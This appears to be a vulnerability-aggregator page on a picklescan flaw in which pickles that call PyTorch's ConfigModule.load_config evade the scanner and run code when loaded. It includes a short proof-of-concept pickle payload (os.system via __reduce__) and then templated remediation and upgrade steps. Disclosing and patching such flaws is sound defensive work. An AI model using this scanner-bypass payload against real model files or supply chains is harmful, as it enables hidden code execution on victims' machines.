Unsafe Deserialization in picklescan (CVE-2025-71348)
Summary
Vulnerability in picklescan (CVE-2025-71348). Confidential information can be exposed externally. Mitigation: upgrade to 0.0.28 or later.
Original description
The description as published by the source.
Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the reduce method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-71348 has been found in picklescan.
Confidential information can be exposed externally. CVSS score: 8.1/10.
What to do: upgrade picklescan to 0.0.28 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-71348" on the vendor's site.
CVE-2025-71348 (picklescan) — CWE-502 / CVSS v3 8.1
Attack vector: remote (network-reachable) / unauthenticated
Patched: 0.0.28 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Unsafe deserialization (CWE-502) exists in picklescan.
Check the vendor advisory for the affected versions of picklescan.
Severity: High (CVSS 8.1/10). Confidential information can be exposed externally.
Update to 0.0.28.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.28ステージング環境で 0.0.28 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory disclosure@vulncheck.com
- exploit github.com
- package github.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com